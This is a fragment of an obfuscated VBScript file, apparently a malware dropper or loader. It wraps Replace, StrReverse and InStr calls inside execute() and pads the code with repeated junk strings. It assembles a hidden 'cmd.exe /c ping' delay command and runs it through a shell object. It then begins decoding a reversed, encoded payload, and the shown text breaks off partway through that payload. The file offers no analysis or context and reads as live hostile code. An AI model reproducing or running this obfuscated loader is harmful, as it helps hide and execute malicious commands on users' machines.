OtOKkNyRmXTwRpinTKTzmiGtPnmyuaTCKedWiwkiqKULOUsOqSftRUfLPtUHzvXTGZPkImulSPTKOcTWkRUOyRUHekWwizTqBUvc = TGBGiidhqyUPaNjetGtJPjBLqeldRRUtKKPdjiWQfWumXKnXfKNGhcTsJLucTNaqBHqLhlRgvJdKnOdgWacWUWccKWeWQPtfuDCO
OtOKkNyRmXTwRpinTKTzmiGtPnmyuaTCKedWiwkiqKULOUsOqSftRUfLPtUHzvXTGZPkImulSPTKOcTWkRUOyRUHekWwizTqBUvc = ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD( _
OtOKkNyRmXTwRpinTKTzmiGtPnmyuaTCKedWiwkiqKULOUsOqSftRUfLPtUHzvXTGZPkImulSPTKOcTWkRUOyRUHekWwizTqBUvc)
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU = dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ( _
acOYDWPhfhhZctTtOYOISTwKttDPLDhQfSPHTofnRMLPvtWvRDeZXcUgUKLLiNDvOHvxCYLHGUwWiiwHfccehocLUfWJnTOcvgWU + _
OtOKkNyRmXTwRpinTKTzmiGtPnmyuaTCKedWiwkiqKULOUsOqSftRUfLPtUHzvXTGZPkImulSPTKOcTWkRUOyRUHekWwizTqBUvc , _
%((" + _
+" , _
dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ(cLzAqoUwNLDHTfPGcAcYLPWxkGrUKLDejncSPlNtsbHiUdsUsPHLtlPZqxHrhLeLWAkUWrKGaqnjXynPNTlcRUlrLNANtOcshDcy + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",cLzAqoUwNLDHTfPGcAcYLPWxkGrUKLDejncSPlNtsbHiUdsUsPHLtlPZqxHrhLeLWAkUWrKGaqnjXynPNTlcRUlrLNANtOcshDcy) )
lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ = dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ("cmUQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnDdUQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnD.exUQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnDe /c pUQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnDing 1UQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnD27.UQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnD0.0UQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLmOUumbTtnD.1 -nUQcZoOnJlUqJSOPKmZmNxPOIOKonkPqWLWivPsLUcNzcwPgwcPpgzTTUZIzlURPUQvTsOZkvaZcGHwcDLSTPQsTlZLm
UBMYWTUTqCWcGgAUbYbLkAildUwUyaWvZNWIArADLCUYjwMjLgzBQgUAQlUmlixMiwdaUwyLCQDZOcDUAGggljgmmANNDUbLaRNco.run lWBvNUBpXjORAnMceveaHMBRJcGBjpOGLZfWMZKgqbfOovfoqAKWKecjWRfTzWPQBoJdNGjUBWSLLQSUKAexLXeTbKPUgGeqhWjQ, 0, true
end if
Function pWWuUxRWDmKHxgWWIuIlvWNagWURNGKcWpCPWmWGzKLQcUUczGWqzMpLkaLUWPGadOmZCuNPNkQZknQwWxMnNmMUkWDKGuIXmxZU(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc,nGUuOLUNCMqUJQsnSuSCHsUAQnOUBcqUssBRsssGWruNRRXRWctLdhAcBAuBBucUPZlKxuBRcBhKPhhdsJhUDshBBsYYGXSllPyu)
dim fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = "pWWuUxRWDmKHxgWWIuIlvWNagWURNGKcWpCPWmWGzKLQcUUczGWqzMpLkaLUWPGadOmZCuNPNkQZknQwWxMnNmMUkWDKGuIXmxZU = "
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW + "InStr(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc, nGUuOLUNCMqUJQsnSuSCHsUAQnOUBcqUssBRsssGWruNRRXRWctLdhAcBAuBBucUPZlKxuBRcBhKPhhdsJhUDshBBsYYGXSllPyu)"
execute(fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW)
End Function
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
Function dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc,nGUuOLUNCMqUJQsnSuSCHsUAQnOUBcqUssBRsssGWruNRRXRWctLdhAcBAuBBucUPZlKxuBRcBhKPhhdsJhUDshBBsYYGXSllPyu,YbnKIcHUeQNndHQCsKsGOQUvHCIHdhNTUqGDQuUODOsviINiDhoNcYCPWvsAkNhOhNcACKdDNWSUczSUUdYTCuYAWUSGOAsJcbvP)
dim fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = "dibhdTOGLQLOnSJKphpZpJhkNKMOGHLdtNClJgaeJkPpolPoJUOiaWuywkPWuixfhLNWWMGLDwWtOQWIanWWLSWWLaLGeopJQpYQ = "
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW + "Replace"
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW + "(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc ,nGUuOLUNCMqUJQsnSuSCHsUAQnOUBcqUssBRsssGWruNRRXRWctLdhAcBAuBBucUPZlKxuBRcBhKPhhdsJhUDshBBsYYGXSllPyu, YbnKIcHUeQNndHQCsKsGOQUvHCIHdhNTUqGDQuUODOsviINiDhoNcYCPWvsAkNhOhNcACKdDNWSUczSUUdYTCuYAWUSGOAsJcbvP)"
execute(fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW)
End Function
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
MgCZvhapxPysnqwhsUNdXWWUWqdtkvjWPqPWUPwXZcNUNmgDWyeUgTyGidwtCfdBqLnWyuRMNWsCvqgaNljllgVvloaRRqULPLMC:PMfJZOhYAlkuMNnbDwOxUpgUrlchwDApehkzQkRUwgOUOxMspoYwSOajPKOhfNWtNKMIqXNbWOuUZvghOeANcqwicXDNwjDdldcL:ScpgvTchmHQiKrixCffwLpgvYzGlHcZpeUWwbWciDufPfocRpuUfCWIDUKnlpvhorGKsySOhzTiovOgcfzZqJpSdJCGOWOvWHWQs = "*$(*$
$&*#@%#&
%(!##(&*
*#*#4(
@*!@$&4&%(
(&##%*&(
&*#*@*
%4$&&$!*#
&@(*&@
$*":KlcLcjfJLXCUPxBJsPaSGAgcIgasuNpABLHUCHhnXxaXaDlnAyWPxZUpYJUsccWjxbPhsARzWjURcbgfaOpRrUWcrWURIXXdXdUn:YKksGzKHGTuGACDZQsakDTZUcAqZJrLTWsLwkLMXIyaiaTKpTNKsKpzkWXUZknUMCzAftDdZYzGkGhZKacLscsNWckKdrOOnTncB:
Function ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc)
dim fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = "ZRKZQYUSRCLGCBocyZyXHoKuBcQLCQLHAIJNoDnCUOTGLWWLUPnRMKJOguTJyAQAKHBXGZCNFgDAnEDLnCUJGKUJMnGyCKyTBSVD = "
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW + "StrReverse"
fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW = fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW + "(McuyokKxNLvgOMJNiyiNGJQeMNoKWDvLZdpCJRZYqSjMcKHcqDAKbOKMcejxKsDgQZuDByWCacUoHKUIZOOiBROxcZPNYiiTucbc)"
execute(fKIacheDciUYwUknbabygkceUnceBDUnDuWkkGDqpviuUygUpDLjOGJcIeiURdDDKtRODaBkPIAeBLAvDwGajGGUIDTOqnbaRYkW)
End Function
Function LljmHJrNkPcjsrCCCmCAcCWhrCHrUucJLPymCpLqRLpumoumRupTixLonhpOwyuLHUWDmmUmWnfjWWfdLsxaYpxOnLCAqLCjWIUK(qnIKWPpYPOTkrHqDoKohbqbWHDWprnTocPNQqwcgcxQcqWzqcnCMyJQGOWQUbxnKPPSbrKrQbOKKGDKlcrJuWwJUOcPygOoBSpmD,BAxWJxTnIxWeOYUAcWcDvUKlYAJTKbWcNGNYUONcSZcYYOCYSbBmDakuGlcyimbbZydHAWKYNGOLIKOWNOaPeOayGNWrcBcodlgG,HcNeWTtDKjxRJTlwQeQccljJlwWxpLlWHeqDeRNqWaMqHqTHWiPhLWBLlJNABcqHxHAzGeUDRlLPWisANJWfOKWAUNvcyhQGQnKc)
LljmHJrNkPcjsrCCCmCAcCWhrCHrUucJLPymCpLqRLpumoumRupTixLonhpOwyuLHUWDmmUmWnfjWWfdLsxaYpxOnLCAqLCjWIUK = BQGGGZEMDQ(qnIKWPpYPOTkrHqDoKohbqbWHDWprnTocPNQqwcgcxQcqWzqcnCMyJQGOWQUbxnKPPSbrKrQbOKKGDKlcrJuWwJUOcPygOoBSpmD, BAxWJxTnIxWeOYUAcWcDvUKlYAJTKbWcNGNYUONcSZcYYOCYSbBmDakuGlcyimbbZydHAWKYNGOLIKOWNOaPeOayGNWrcBcodlgG, HcNeWTtDKjxRJTlwQeQccljJlwWxpLlWHeqDeRNqWaMqHqTHWiPhLWBLlJNABcqHxHAzGeUDRlLPWisANJWfOKWAUNvcyhQGQnKc)
End Function
Function RpoBpGOfDzBlGlyRABADvynnlRpOmWBKNgClyUNzGcIfGYAGGWQUOSoONnIaARWSZqprRBmlbNltDcllNGSgMUSaNNTZzIAOpOYP(qnIKWPpYPOTkrHqDoKohbqbWHDWprnTocPNQqwcgcxQcqWzqcnCMyJQGOWQUbxnKPPSbrKrQbOKKGDKlcrJuWwJUOcPygOoBSpmD)
RpoBpGOfDzBlGlyRABADvynnlRpOmWBKNgClyUNzGcIfGYAGGWQUOSoONnIaARWSZqprRBmlbNltDcllNGSgMUSaNNTZzIAOpOYP = StrReverse(qnIKWPpYPOTkrHqDoKohbqbWHDWprnTocPNQqwcgcxQcqWzqcnCMyJQGOWQUbxnKPPSbrKrQbOKKGDKlcrJuWwJUOcPygOoBSpmD)
End Function
dim rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt
rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt = " "
dim KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd
KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
dim euQcJWgWlhvjcOOWxcUqWOedCcJHNXvlOzaTODzOQkuZcqmcQfquKQkLqdmlKAfveyrhILYTyqWOPLWUzhWbAUWlSGtSOeUWwIOy
euQcJWgWlhvjcOOWxcUqWOedCcJHNXvlOzaTODzOQkuZcqmcQfquKQkLqdmlKAfveyrhILYTyqWOPLWUzhWbAUWlSGtSOeUWwIOy = RpoBpGOfDzBlGlyRABADvynnlRpOmWBKNgClyUNzGcIfGYAGGWQUOSoONnIaARWSZqprRBmlbNltDcllNGSgMUSaNNTZzIAOpOYP("==
uBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
1Bw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
